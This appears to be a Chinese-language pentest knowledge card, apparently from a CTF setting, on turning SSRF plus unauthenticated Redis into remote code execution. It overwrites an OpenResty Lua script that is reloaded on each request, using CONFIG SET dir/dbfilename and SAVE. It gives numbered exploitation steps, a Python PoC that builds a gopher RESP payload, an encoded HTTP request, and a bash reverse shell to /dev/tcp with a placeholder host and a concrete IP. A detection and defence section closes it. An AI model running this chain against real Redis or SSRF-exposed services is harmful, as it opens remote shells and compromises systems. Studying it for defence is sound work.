♧ Godown 安全知识树

Redis SAVE 覆写「每次请求都重新读取并 load」的 Lua 脚本:没有 PHP 站点时也能从写文件拿到 RCE

pentest/initial-access · verified

一句话结论

Redis 写文件的经典打法是往 Web 根写 .php/.jsp,但如果目标根本不是 PHP/Java 站点(本例是 OpenResty + Lua 的「访问网页」服务,只有静态 HTML 和 Lua 脚本),WebShell 落点就是死路;此时应把落点改成应用每次请求都会重新读取并执行的脚本文件(本例 /scripts/visit.script,由 main.lua 的 read_file + load 每次请求重新加载),用 CONFIG SET dir /scripts + CONFIG SET dbfilename visit.script + SET + SAVE 把 io.popen(...) 包在 ##LUA_START## ... ##LUA_END## 之间写进去,下一次访问 /visit?url=任意值 就会执行该 Lua,直接拿到反弹 shell。

原理

  • Redis 写文件原语本身不变:CONFIG SET dir <目录> 改持久化目录、CONFIG SET dbfilename <文件名> 改落盘文件名、SET key <内容> 把内容放进 RDB、SAVE 触发序列化落盘。内容会带 RDB 头(REDIS00xx)与脏字节,所以要选一个能容忍前缀垃圾、只按标记截取有效片段的消费方。
  • 为什么 Lua 脚本是最佳落点:main.lua 里的 execute_lua_code(script_content) 用 script_content:match("##LUA_START##(.-)##LUA_END##") 正则提取两个标记之间的内容再 load(code) 执行;RDB 头与随机脏字节都在 ##LUA_START## 之前,被 match 直接跳过,因此写进去的 Lua 代码 100% 干净、不依赖注释/换行技巧。
  • 为什么选择"每次请求重读"的文件而不是主脚本:main.lua 只在 master 进程启动时被 content_by_lua_file 加载一次,覆写它要么不生效、要么把整个服务写崩(原文实测「覆盖 main.lua 会导致整个环境崩掉」);而 visit.script 是每次请求由 main() 的 read_file 现读现执行,覆写后下一次请求立即生效,且不动 nginx 配置层。
  • 为什么用 Redis 写而不是命令执行:原文环境里 io.popen("bash -c 'ls > /tmp/x'") 这类"经 bash 落地/执行"的写法被限制(提示权限不够),也就是说攻击者拿不到"能直接写脚本文件"的 shell;但 Redis 的 CONFIG SET/SAVE 是以 Redis 进程身份写文件,Redis 容器的 /scripts 与应用容器共享同一挂载卷,所以这条路可行。关键前提是目标应用的脚本目录与 Redis 可写目录是同一挂载点。
  • 触发:GET /visit?url=<任意非空> → main.lua 读到被覆写的 visit.script → 正则提取 ##LUA_START## 之间的 io.popen("bash -c '...'") → load + 执行 → 反弹到攻击者监听端口。原文首次请求可能超时(curl 被 shell 卡住),但写入已经完成,再访问一次即触发。
  • 为什么落点不是 webshell 后缀:目标 Lua 里的判断是「先 red:get(url) 命中缓存直接返回,否则 curl 拉取并 setex」,与文件后缀/Web 服务器解析毫无关系;RCE 能力来自「脚本被执行」而不是「文件被 PHP 解析」。

触发条件

  • Redis 未授权(无 requirepass、可从 SSRF/内网直连),CONFIG/SAVE 未被 rename-command 禁用。
  • 应用中存在「每次请求都从固定路径读取并执行」的脚本文件(如 OpenResty 里 read_file + load 的 visit.script),且该路径与 Redis 的 CONFIG SET dir 可指向的目录共享同一挂载卷。
  • 该脚本格式允许在固定标记(如 ##LUA_START##/##LUA_END##)之后插入任意代码,标记前的脏字节被忽略。
  • 存在可用的 SSRF 入口能把完整 RESP 报文打到 127.0.0.1:6379(gopher://、可注入 CRLF 的请求头/体),或 Redis 端口可直接访问。
  • 目标 Lua 运行时允许 io/os(如 OpenResty 的 io.popen),而不是被 Redis 的 EVAL 沙箱(无 os.execute/io.popen)限制。

利用步骤

  1. 侦察容器布局:读 Dockerfile,确认有 COPY scripts/* /scripts + chmod +x、COPY main.lua .../lua/main.lua、以及 COPY redis.conf + start.sh 起 redis;这说明 /scripts 是应用与 Redis 共享的可写脚本目录。
  2. 读 main.lua,确认「每次请求读 /scripts/visit.script → match("##LUA_START##(.-)##LUA_END##") → load 执行」这条热加载链;再读 visit.script 确认标记格式与 Redis 用法。
  3. 确认 SSRF 出口:GET /visit?url=dict://127.0.0.1:6379/info,回显里能看到 redis_version:7.2.5、tcp_port:6379 等即证明 Redis 可达且未授权(-ERR unknown subcommand 'libcurl' 是 resty.redis/curl 的噪声,不影响判断)。
  4. 构造要写入的 Lua:##LUA_START##\nio.popen("bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'")\n##LUA_END##;注意 main.lua 的 read_file 会把整个文件读进来,标记前必须有 ##LUA_START##,标记后必须是 ##LUA_END##。
  5. 构造 RESP 报文(flushall → set → config set dir → config set dbfilename → save),并用 gopher 发包;$<len> 必须等于「内容字符数 + 上下四个换行」的字节数(RDB 里的值原样存,多/少一个换行都会让 Lua 标记错位)。
  6. 写入完成后 GET /visit?url=111 触发:若 curl 直接把连接卡住导致回显超时,说明 shell 已经跑起来(也可能第一次请求就返回),再访问一次或在监听端确认回连。
  7. 建立交互后 id/ls 确认进程身份(本例落在 nginx worker 的 nobody),再用 ./readflag 之类 SUID 帮助程序拿最终目标(Dockerfile 里 chmod +xs /readflag、chmod 400 /flag 是提示)。

PoC

# 关键片段:把 io.popen 包进 ##LUA_START## / ##LUA_END##,并算对 RESP 的 $len
import urllib.parse

content = """\n\n##LUA_START##\nio.popen("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/7897 0>&1'")\n##LUA_END##\n\n"""
len_content = len(content) + 4      # 值前后各有换行,redis 按字节计长度

payload = f"""*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
8\r
${len_content}\r
{content}
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$8\r
/scripts\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$12\r
visit.script\r
*1\r
$4\r
save\r

"""

result = urllib.parse.quote_plus(payload).replace("+", "%20").replace("%2F", "/")
print("gopher://127.0.0.1:6379/_" + result)
# 放进 ?url= 时再整体二次编码(Burp 里选中再 Ctrl+U)
GET /visit?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A...%252412%250D%250Avisit.script%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A HTTP/1.1
Host: localhost:15001
# 写入后容器内 /scripts/visit.script 内容(RDB 头之后):
##LUA_START##
io.popen("bash -c 'bash -i >& /dev/tcp/8.217.118.198/7897 0>&1'")
##LUA_END##

# 再次访问 /visit?url=111 触发,监听端得到 nobody@<container> 的 shell

变体与关联

  • 变体:落点改成任何「被周期性/按请求读取并解释」的文件——Lua 脚本、PHP 的 auto_prepend_file、Python 的 .pth、Node 的 require 目标、Java 热部署目录;核心是消费方每次都会重读,而不是等重启。
  • 变体:改成写 crond 目录、authorized_keys 等系统落点,则不依赖应用重读,但要处理 RDB 脏字节与格式要求(Cron 对换行/权限敏感)。
  • 变体:若目标 Redis 支持 EVAL 且 package/io 未被沙箱移除,可以不走写文件而直接用 Redis 侧 Lua 逃逸(见关联卡)。
  • 关联:[[pentest-initial-access-redis-config-dir-dbfilename-shared-volume-webshell]](同一写文件原语打 PHP 站点的版本;本条解决的正是它不适用的场景:非 PHP 服务 + 热加载脚本)、[[pentest-initial-access-redis-resp-bulk-payload-gopher-encoding]](本条 PoC 里 RESP 报文的手工构造细节)、[[binary-pwn-sandbox-escape-redis-lua-package-loadlib-cve-2022-0543]](Redis 侧 Lua 沙箱逃逸的另一条路)、[[web-generic-ssrf-redis-inline-protocol-crlf]](SSRF→Redis 的协议层通用原理)。
  • 边界:脚本目录与 Redis 可写目录不共享时写不到;脚本不是「每次请求重读」而是启动时加载一次时覆写无效(还会把服务写崩);main.lua 型主脚本不要动;Redis 开了 requirepass 或禁了 CONFIG/SAVE 时失败;RDB 头里的随机字节若恰好破坏 ##LUA_START## 之前的读取逻辑(例如脚本被整体当二进制解析)也会失效。

检测与防御

  • 检测:Redis 侧出现 CONFIG SET dir 指向应用脚本目录(/scripts、/usr/local/openresty/nginx/lua 等)与 CONFIG SET dbfilename 指向 .script/.lua/.conf 的调用,随后紧跟 SAVE。
  • 检测:运维监控脚本文件内容哈希——/scripts/*.script、*.lua 被改成含 io.popen、os.execute、load、##LUA_START## 之外的可疑内容,或文件大小/首字节出现 REDIS 魔数。
  • 检测:Web 日志中同一路径短时间内出现「先一次超时/异常请求、随后正常请求」的成对模式(写入 + 触发),且 ?url= 参数里含超长百分号编码(gopher RESP 报文)。
  • 防御:Redis 必须 requirepass/ACL + protected-mode yes + 绑定内网,rename-command 禁用 CONFIG/SAVE/DEBUG;应用与 Redis 不要共享脚本目录,脚本目录以只读方式挂载给应用。
  • 防御:Lua 脚本执行处不要用 read_file + load 的「每次重读」模式,改为启动时一次性加载并校验哈希;对 io.popen/os.execute 的使用做白名单或禁用。
  • 应急:从镜像/基线恢复脚本目录,轮换 Redis 口令,审计 Redis 与 SSRF 入口的全量日志。